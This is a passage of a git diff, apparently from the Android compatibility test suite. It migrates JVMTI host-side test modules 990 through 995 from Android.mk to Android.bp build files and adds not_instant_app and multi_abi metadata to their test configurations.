+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest990DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-990/Android.mk b/hostsidetests/jvmti/run-tests/test-990/Android.mk
deleted file mode 100644
index f5e1afe..0000000
--- a/hostsidetests/jvmti/run-tests/test-990/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest990HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-990/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-990/AndroidTest.xml
index 9603521..8f1e64b 100644
--- a/hostsidetests/jvmti/run-tests/test-990/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-990/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-990/app/Android.bp b/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
new file mode 100644
index 0000000..59f59a7
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest990DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-990/app/Android.mk b/hostsidetests/jvmti/run-tests/test-990/app/Android.mk
deleted file mode 100644
index f207638..0000000
--- a/hostsidetests/jvmti/run-tests/test-990/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest990DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-991/Android.bp b/hostsidetests/jvmti/run-tests/test-991/Android.bp
new file mode 100644
index 0000000..1ce2875
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-991/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest991HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest991DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-991/Android.mk b/hostsidetests/jvmti/run-tests/test-991/Android.mk
deleted file mode 100644
index d590fec..0000000
--- a/hostsidetests/jvmti/run-tests/test-991/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest991HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-991/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-991/AndroidTest.xml
index 771978a..94b67ae 100644
--- a/hostsidetests/jvmti/run-tests/test-991/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-991/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-991/app/Android.bp b/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
new file mode 100644
index 0000000..30d419e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest991DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-991/app/Android.mk b/hostsidetests/jvmti/run-tests/test-991/app/Android.mk
deleted file mode 100644
index 68642bf..0000000
--- a/hostsidetests/jvmti/run-tests/test-991/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest991DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-992/Android.bp b/hostsidetests/jvmti/run-tests/test-992/Android.bp
new file mode 100644
index 0000000..9abfe40
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-992/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest992HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest992DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-992/Android.mk b/hostsidetests/jvmti/run-tests/test-992/Android.mk
deleted file mode 100644
index 0ec2b83..0000000
--- a/hostsidetests/jvmti/run-tests/test-992/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest992HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-992/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-992/AndroidTest.xml
index 814dff6..437521e 100644
--- a/hostsidetests/jvmti/run-tests/test-992/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-992/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-992/app/Android.bp b/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
new file mode 100644
index 0000000..cf388ea
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest992DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-992/app/Android.mk b/hostsidetests/jvmti/run-tests/test-992/app/Android.mk
deleted file mode 100644
index 62d7ab8..0000000
--- a/hostsidetests/jvmti/run-tests/test-992/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest992DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-993/Android.bp b/hostsidetests/jvmti/run-tests/test-993/Android.bp
new file mode 100644
index 0000000..47d25d4
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-993/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest993HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest993DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-993/Android.mk b/hostsidetests/jvmti/run-tests/test-993/Android.mk
deleted file mode 100644
index 0aa0d44..0000000
--- a/hostsidetests/jvmti/run-tests/test-993/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest993HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-993/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-993/AndroidTest.xml
index 951a3bf..cf92806 100644
--- a/hostsidetests/jvmti/run-tests/test-993/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-993/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-993/app/Android.bp b/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
new file mode 100644
index 0000000..c903584
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest993DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-993/app/Android.mk b/hostsidetests/jvmti/run-tests/test-993/app/Android.mk
deleted file mode 100644
index 4837c64..0000000
--- a/hostsidetests/jvmti/run-tests/test-993/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest993DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-994/Android.bp b/hostsidetests/jvmti/run-tests/test-994/Android.bp
new file mode 100644
index 0000000..97df559
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-994/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest994HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest994DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-994/Android.mk b/hostsidetests/jvmti/run-tests/test-994/Android.mk
deleted file mode 100644
index 05a8155..0000000
--- a/hostsidetests/jvmti/run-tests/test-994/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest994HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-994/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-994/AndroidTest.xml
index 47d61dc..a97b540 100644
--- a/hostsidetests/jvmti/run-tests/test-994/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-994/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-994/app/Android.bp b/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
new file mode 100644
index 0000000..401f44c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest994DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-994/app/Android.mk b/hostsidetests/jvmti/run-tests/test-994/app/Android.mk
deleted file mode 100644
index d0defbc..0000000
--- a/hostsidetests/jvmti/run-tests/test-994/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest994DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-995/Android.bp b/hostsidetests/jvmti/run-tests/test-995/Android.bp
new file mode 100644
index 0000000..50d4f24
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-995/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest995HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest995DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-995/Android.mk b/hostsidetests/jvmti/run-tests/test-995/Android.mk
deleted file mode 100644
index a64ce78..0000000
--- a/hostsidetests/jvmti/run-tests/test-995/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest995HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-995/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-995/AndroidTest.xml
index 0278f01..cf3fe8a 100644
--- a/hostsidetests/jvmti/run-tests/test-995/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-995/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-995/app/Android.bp b/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
new file mode 100644
index 0000000..e6333c4
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest995DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-995/app/Android.mk b/hostsidetests/jvmti/run-tests/test-995/app/Android.mk
deleted file mode 100644
index 150ec26..0000000
--- a/hostsidetests/jvmti/run-tests/test-995/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
